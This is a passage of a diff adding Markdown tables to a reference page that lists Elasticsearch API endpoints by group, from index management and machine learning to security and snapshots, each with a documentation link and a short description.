+| --- | ----------- |
+| [Get Features](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-features-get-features) | Lists all available features in the cluster. |
+| [Reset Features](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-features-reset-features) | Resets internal state for system features. |
+
+### [Fleet](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-fleet)
+
+The Fleet APIs support Fleet’s use of Elasticsearch as a data store for internal agent and action data.
+
+| API | Description |
+| --- | ----------- |
+| [Run Multiple Fleet Searches](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-fleet-msearch) | Runs several Fleet searches with a single API request. |
+| [Run a Fleet Search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-fleet-search) | Runs a Fleet search. |
+| [Get global checkpoints](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-fleet-global-checkpoints) | Get the current global checkpoints for an index. |
+
+### [Graph explore](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-graph)
+
+The graph explore APIs enable you to extract and summarize information about the documents and terms in an {{es}} data stream or index.
+
+| API | Description |
+| --- | ----------- |
+| [Graph Explore](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-graph-explore) | Discovers relationships between indexed terms using relevance-based graph exploration. |
+
+### [Index](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-indices)
+
+The index APIs enable you to manage individual indices, index settings, aliases, mappings, and index templates.
+
+| API | Description |
+| --- | ----------- |
+| [Create index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-create) | Creates a new index with optional settings and mappings. |
+| [Delete index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-delete) | Deletes an existing index. |
+| [Get index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get) | Retrieves information about one or more indices. |
+| [Open index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-open) | Opens a closed index to make it available for operations. |
+| [Close index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-close) | Closes an index to free up resources. |
+| [Shrink index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-shrink) | Shrinks an existing index into a new index with fewer primary shards. |
+| [Split index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-split) | Splits an existing index into a new index with more primary shards. |
+| [Clone index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-clone) | Clones an existing index into a new index. |
+| [Manage index aliases](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-alias) | Manages index aliases. |
+| [Update field mappings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) | Updates index mappings. |
+| [Get field mappings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-mapping) | Retrieves index mappings. |
+| [Get index settings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-settings) | Retrieves settings for one or more indices. |
+| [Update index settings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-settings) | Updates index-level settings dynamically. |
+| [Get index templates](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-template) | Retrieves legacy index templates. |
+| [Put index template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-template) | Creates or updates a legacy index template. |
+| [Delete index template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-delete-template) | Deletes a legacy index template. |
+| [Get composable index templates](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-index-template) | Retrieves composable index templates. |
+| [Put composable index template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-index-template) | Creates or updates a composable index template. |
+| [Delete composable index template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-delete-index-template) | Deletes a composable index template. |
+| [Get index alias](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-alias) | Retrieves index aliases. |
+| [Delete index alias](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-delete-alias) | Deletes index aliases. |
+| [Refresh index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-refresh) | Refreshes one or more indices, making recent changes searchable. |
+| [Flush index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-flush) | Performs a flush operation on one or more indices. |
+| [Clear index cache](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-clear-cache) | Clears caches associated with one or more indices. |
+| [Force merge index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-forcemerge) | Merges index segments to reduce their number and improve performance. |
+| [Freeze index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-freeze) | Freezes an index, making it read-only and minimizing its resource usage. |
+| [Unfreeze index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-unfreeze) | Unfreezes a frozen index, making it writeable and fully functional. |
+| [Rollover index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-rollover) | Rolls over an alias to a new index when conditions are met. |
+| [Resolve index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-resolve) | Resolves expressions to index names, aliases, and data streams. |
+| [Simulate index template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-simulate-index-template) | Simulates the application of a composable index template. |
+| [Simulate template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-simulate-template) | Simulates the application of a legacy index template. |
+| [Get mapping](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-mapping) | Retrieves mapping definitions for one or more indices. |
+| [Put mapping](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) | Updates mapping definitions for one or more indices. |
+| [Reload search analyzers](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-reload-search-analyzers) | Reloads search analyzers for one or more indices. |
+| [Shrink index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-shrink) | Shrinks an existing index into a new index with fewer primary shards. |
+| [Split index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-split) | Splits an existing index into a new index with more primary shards. |
+| [Clone index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-clone) | Clones an existing index into a new index. |
+
+### [Index lifecycle management](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-ilm)
+
+The index lifecycle management APIs enable you to set up policies to automatically manage the index lifecycle.
+
+| API | Description |
+| --- | ----------- |
+| [Put Lifecycle Policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-put-lifecycle) | Creates or updates an ILM policy. |
+| [Get Lifecycle Policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-get-lifecycle) | Retrieves one or more ILM policies. |
+| [Delete Lifecycle Policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-delete-lifecycle) | Deletes an ILM policy. |
+| [Explain Lifecycle](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-explain-lifecycle) | Shows the current lifecycle step for indices. |
+| [Move to Step](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-move-to-step) | Manually moves an index to the next step in its lifecycle. |
+| [Retry Lifecycle Step](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-retry) | Retries the current lifecycle step for failed indices. |
+| [Start ILM](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-start) | Starts the ILM plugin. |
+| [Stop ILM](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-stop) | Stops the ILM plugin. |
+| [Get ILM Status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ilm-get-status) | Returns the status of the ILM plugin. |
+
+### [Inference](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-inference)
+
+The inference APIs enable you to create inference endpoints and integrate with machine learning models of different services - such as Amazon Bedrock, Anthropic, Azure AI Studio, Cohere, Google AI, Mistral, OpenAI, or HuggingFace.
+
+| API | Description |
+| --- | ----------- |
+| [Put Inference Endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) | Creates an inference endpoint. |
+| [Get Inference Endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-get) | Retrieves one or more inference endpoints. |
+| [Delete Inference Endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-delete) | Deletes an inference endpoint. |
+| [Infer](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-inference) | Runs inference using a deployed model. |
+
+### [Info](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-info)
+
+The info API provides basic build, version, and cluster information.
+
+| API | Description |
+| --- | ----------- |
+| [Get cluster information](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-info) | Returns basic information about the cluster. |
+
+### [Ingest](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-ingest)
+
+The ingest APIs enable you to manage tasks and resources related to ingest pipelines and processors.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-put-pipeline) | Creates or updates an ingest pipeline. |
+| [Get pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-get-pipeline) | Retrieves one or more ingest pipelines. |
+| [Delete pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-delete-pipeline) | Deletes an ingest pipeline. |
+| [Simulate pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) | Simulates a document through an ingest pipeline. |
+| [Get built-in grok patterns](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-processor-grok) | Returns a list of built-in grok patterns. |
+| [Get processor types](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-processor-types) | Returns a list of available processor types. |
+| [Put pipeline processor](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-put-processor) | Creates or updates a custom pipeline processor. |
+| [Delete pipeline processor](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-delete-processor) | Deletes a custom pipeline processor. |
+
+### [Licensing](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-license)
+
+The licensing APIs enable you to manage your licenses.
+
+| API | Description |
+| --- | ----------- |
+| [Get license](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-license-get) | Retrieves the current license for the cluster. |
+| [Update license](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-license-post) | Updates the license for the cluster. |
+| [Delete license](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-license-delete) | Removes the current license. |
+| [Start basic license](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-license-post-start-basic) | Starts a basic license. |
+| [Start trial license](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-license-post-start-trial) | Starts a trial license. |
+| [Get the trial status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-license-get-trial-status) | Returns the status of the current trial license. |
+
+### [Logstash](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-logstash)
+
+The logstash APIs enable you to manage pipelines that are used by Logstash Central Management.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update Logstash pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-logstash-put-pipeline) | Creates or updates a Logstash pipeline. |
+| [Get Logstash pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-logstash-get-pipeline) | Retrieves one or more Logstash pipelines. |
+| [Delete Logstash pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-logstash-delete-pipeline) | Deletes a Logstash pipeline. |
+
+### [Machine learning](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-ml)
+
+The machine learning APIs enable you to retrieve information related to the {{stack}} {{ml}} features.
+
+| API | Description |
+| --- | ----------- |
+| [Get machine learning memory stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-memory-stats) | Gets information about how machine learning jobs and trained models are using memory. |
+| [Get machine learning info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-info) | Gets defaults and limits used by machine learning. |
+| [Set upgrade mode](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-set-upgrade-mode) | Sets a cluster wide upgrade_mode setting that prepares machine learning indices for an upgrade. |
+| [Get ML job stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-job-stats) | Retrieves usage statistics for ML jobs. |
+| [Get ML calendar events](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-calendar-events) | Retrieves scheduled events for ML calendars. |
+| [Get ML filters](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-filters) | Retrieves ML filters. |
+| [Put ML filter](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-filter) | Creates or updates an ML filter. |
+| [Delete ML filter](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-filter) | Deletes an ML filter. |
+| [Get ML info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-info) | Gets overall ML info. |
+| [Get ML model snapshots](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-model-snapshots) | Retrieves model snapshots for ML jobs. |
+| [Revert ML model snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-revert-model-snapshot) | Reverts an ML job to a previous model snapshot. |
+| [Delete expired ML data](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-expired-data) | Deletes expired ML results and model snapshots. |
+
+### [Machine learning anomaly detection](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-ml-anomaly)
+
+The machine learning anomaly detection APIs enbale you to perform anomaly detection activities.
+
+
+| API | Description |
+| --- | ----------- |
+| [Put Job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-job) | Creates an anomaly detection job. |
+| [Get Job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-jobs) | Retrieves configuration info for anomaly detection jobs. |
+| [Delete Job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-job) | Deletes an anomaly detection job. |
+| [Open Job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-open-job) | Opens an existing anomaly detection job. |
+| [Close anomaly detection jobs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-close-job) | Closes an anomaly detection job. |
+| [Flush Job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-flush-job) | Forces any buffered data to be processed. |
+| [Forecast Job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-forecast) | Generates forecasts for anomaly detection jobs. |
+| [Get Buckets](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-buckets) | Retrieves bucket results from a job. |
+| [Get Records](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-records) | Retrieves anomaly records for a job. |
+| [Get calendar configuration info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-calendars) | Gets calendar configuration information. |
+| [Create a calendar](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-calendar) | Create a calendar. |
+| [Delete a calendar](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-calendar) | Delete a calendar. |
+| [Delete events from a calendar](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-calendar) | Delete events from a calendar. |
+| [Add anomaly detection job to calendar](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-calendar-job) | Add an anomoly detection job to a calendar. |
+| [Delete anomaly detection jobs from calendar](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-calendar-job) | Deletes anomoly detection jobs from a calendar. |
+| [Get datafeeds configuration info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-datafeeds) | Get configuration information for a datafeed. |
+| [Create datafeed](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-datafeed) | Creates a datafeed. |
+| [Delete a datafeed](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-datafeed) | Deletes a datafeed. |
+| [Delete expired ML data](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-expired-data) | Delete all job results, model snapshots and forecast data that have exceeded their retention days period.  |
+| [Delete expired ML data](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-expired-data) | Delete all job results, model snapshots and forecast data that have exceeded their retention days period.  |
+| [Get filters](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-filters) | Get a single filter or all filters. |
+| [Get anomaly detection job results for influencers](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-influencers) | Get anomaly detection job results for entities that contributed to or are to blame for anomalies. |
+| [Get anomaly detection job stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-job-stats) | Get anomaly detection job stats. |
+| [Get anomaly detection jobs configuration info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-jobs) | You can get information for multiple anomaly detection jobs in a single API request by using a group name, a comma-separated list of jobs, or a wildcard expression. |
+
+### [Machine learning data frame analytics](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-ml-data-frame)
+
+The machine learning data frame analytics APIs enbale you to perform data frame analytics activities.
+
+| API | Description |
+| --- | ----------- |
+| [Create a data frame analytics job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-data-frame-analytics) | Creates a data frame analytics job. |
+| [Get data frame analytics job configuration info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-data-frame-analyticss) | Retrieves configuration and results for analytics jobs. |
+| [Delete a data frame analytics job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-data-frame-analytics) | Deletes a data frame analytics job. |
+| [Start a data frame analytics job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-start-data-frame-analytics) | Starts a data frame analytics job. |
+| [Stop data frame analytics jobs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-stop-data-frame-analytics) | Stops a running data frame analytics job. |
+
+### [Machine learning trained models](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-ml-trained-model)
+
+The machine learning trained models APIs enable you to perform model management operations.
+
+| API | Description |
+| --- | ----------- |
+| [Put Trained Model](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-put-trained-model) | Uploads a trained model for inference. |
+| [Get Trained Models](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-trained-models) | Retrieves configuration and stats for trained models. |
+| [Delete Trained Model](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-delete-trained-model) | Deletes a trained model. |
+| [Start Deployment](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-start-trained-model-deployment) | Starts a trained model deployment. |
+| [Stop Deployment](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-stop-trained-model-deployment) | Stops a trained model deployment. |
+| [Get Deployment Stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-trained-models-stats) | Retrieves stats for deployed models. |
+
+### [Migration](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-migration)
+
+The migration APIs power {{kib}}'s Upgrade Assistant feature.
+
+
+| API | Description |
+| --- | ----------- |
+| [Deprecation Info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-migration-deprecations) | Retrieves deprecation warnings for cluster and indices. |
+| [Get Feature Upgrade Status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-migration-get-feature-upgrade-status) | Checks upgrade status of system features. |
+| [Post Feature Upgrade](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-migration-post-feature-upgrade) | Upgrades internal system features after a version upgrade. |
+
+### [Node lifecycle](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-shutdown)
+
+The node lifecycle APIs enable you to prepare nodes for temporary or permanent shutdown, monitor the shutdown status, and enable a previously shut-down node to resume normal operations.
+
+| API | Description |
+| --- | ----------- |
+| [Exclude nodes from voting](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-post-voting-config-exclusions) | Excludes nodes from voting in master elections. |
+| [Clear voting config exclusions](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-delete-voting-config-exclusions) | Clears voting config exclusions. |
+
+### [Query rules](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-query_rules)
+
+Query rules enable you to configure per-query rules that are applied at query time to queries that match the specific rule. Query rules are organized into rulesets, collections of query rules that are matched against incoming queries. Query rules are applied using the rule query. If a query matches one or more rules in the ruleset, the query is re-written to apply the rules before searching. This allows pinning documents for only queries that match a specific term.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update query ruleset](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-query-ruleset-put-query-ruleset) | Creates or updates a query ruleset. |
+| [Get query ruleset](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-query-ruleset-get-query-ruleset) | Retrieves one or more query rulesets. |
+| [Delete query ruleset](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-query-ruleset-delete-query-ruleset) | Deletes a query ruleset. |
+
+### [Rollup](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-rollup)
+
+The rollup APIs enable you to create, manage, and retrieve infromation about rollup jobs.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update rollup job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-put-job) | Creates or updates a rollup job for summarizing historical data. |
+| [Get rollup jobs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-get-jobs) | Retrieves configuration for one or more rollup jobs. |
+| [Delete rollup job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-delete-job) | Deletes a rollup job. |
+| [Start rollup job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-start-job) | Starts a rollup job. |
+| [Stop rollup job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-stop-job) | Stops a running rollup job. |
+| [Get rollup capabilities](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-get-rollup-caps) | Returns the capabilities of rollup jobs. |
+| [Search rollup data](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-rollup-rollup-search) | Searches rolled-up data using a rollup index. |
+
+### [Script](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-script)
+
+Use the script support APIs to get a list of supported script contexts and languages. Use the stored script APIs to manage stored scripts and search templates.
+
+
+| API | Description |
+| --- | ----------- |
+| [Add or update stored script](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-script-put-script) | Adds or updates a stored script. |
+| [Get stored script](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-script-get-script) | Retrieves a stored script. |
+| [Delete stored script](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-script-delete-script) | Deletes a stored script. |
+| [Execute Painless script](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-script-painless-execute) | Executes a script using the Painless language. |
+| [Get script contexts](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get-script-context) | Returns available script execution contexts. |
+| [Get script languages](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get-script-languages) | Returns available scripting languages. |
+
+### [Search](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-search)
+
+The search APIs enable you to search and aggregate data stored in {{es}} indices and data streams.
+
+| API | Description |
+| --- | ----------- |
+| [Search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search) | Executes a search query on one or more indices. |
+| [Multi search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-msearch) | Executes multiple search requests in a single API call. |
+| [Search template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-template) | Executes a search using a stored or inline template. |
+| [Render search template](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-render-search-template) | Renders a search template with parameters. |
+| [Explain search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-explain) | Explains how a document scores against a query. |
+| [Validate query](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-validate-query) | Validates a query without executing it. |
+| [Get field capabilities](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-field-caps) | Returns the capabilities of fields across indices. |
+| [Scroll search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-scroll) | Efficiently retrieves large numbers of results (pagination). |
+| [Clear scroll](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-clear-scroll) | Clears search contexts for scroll requests. |
+
+### [Search application](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-search_application)
+
+The search applcation APIs enable you to manage tasks and resources related to Search Applications.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update search application](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-put) | Creates or updates a search application. |
+| [Get search application](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-get) | Retrieves a search application by name. |
+| [Delete search application](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-delete) | Deletes a search application. |
+| [Search search application](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-search) | Executes a search using a search application. |
+
+### [Searchable snapshots](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-searchable_snapshots)
+
+The searchable snapshots APIs enable you to perform searchable snapshots operations.
+
+| API | Description |
+| --- | ----------- |
+| [Mount searchable snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-searchable-snapshots-mount) | Mounts a snapshot as a searchable index. |
+| [Clear searchable snapshot cache](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-searchable-snapshots-clear-cache) | Clears the cache of searchable snapshots. |
+| [Get searchable snapshot stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-searchable-snapshots-stats) | Returns stats about searchable snapshots. |
+
+### [Security](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-security)
+
+The security APIs enable you to perform security activities, and add, update, retrieve, and remove application privileges, role mappings, and roles. You can also create and update API keys and create and invalidate bearer tokens.
+
+
+| API | Description |
+| --- | ----------- |
+| [Create or update user](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-put-user) | Creates or updates a user in the native realm. |
+| [Get user](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-get-user) | Retrieves one or more users. |
+| [Delete user](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-delete-user) | Deletes a user from the native realm. |
+| [Create or update role](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-put-role) | Creates or updates a role. |
+| [Get role](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-get-role) | Retrieves one or more roles. |
+| [Delete role](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-delete-role) | Deletes a role. |
+| [Create API key](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-create-api-key) | Creates an API key for access without basic auth. |
+| [Invalidate API key](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-invalidate-api-key) | Invalidates one or more API keys. |
+| [Authenticate](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-security-authenticate) | Retrieves information about the authenticated user. |
+
+### [Snapshot and restore](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-snapshot)
+
+The snapshot and restore APIs enable you to set up snapshot repositories, manage snapshot backups, and restore snapshots to a running cluster.
+
+| API | Description |
+| --- | ----------- |
+| [Clean up snapshot repository](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-cleanup-repository) | Removes stale data from a repository. |
+| [Clone snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-clone) | Clones indices from a snapshot into a new snapshot. |
+| [Get snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-get) | Retrieves information about snapshots. |
+| [Create snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-create) | Creates a snapshot of one or more indices. |
+| [Delete snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-delete) | Deletes a snapshot from a repository. |
+| [Get snapshot repository](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-get-repository) | Retrieves information about snapshot repositories. |
+| [Create or update snapshot repository](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-create-repository) | Registers or updates a snapshot repository. |
+| [Delete snapshot repository](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-delete-repository) | Deletes a snapshot repository. |
+| [Restore snapshot](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-restore) | Restores a snapshot. |
+| [Analyze snapshot repository](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-repository-analyze) | Analyzes a snapshot repository for correctness and performance. |
+| [Verify snapshot repository](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-repository-verify-integrity) | Verifies access to a snapshot repository. |
+| [Get snapshot status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-snapshot-status) | Gets the status of a snapshot. |
+
+### [Snapshot lifecycle management](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-slm)
+
+The snapshot lifecycle management APIs enable you to set up policies to automatically take snapshots and control how long they are retained.
+
+| API | Description |
+| --- | ----------- |
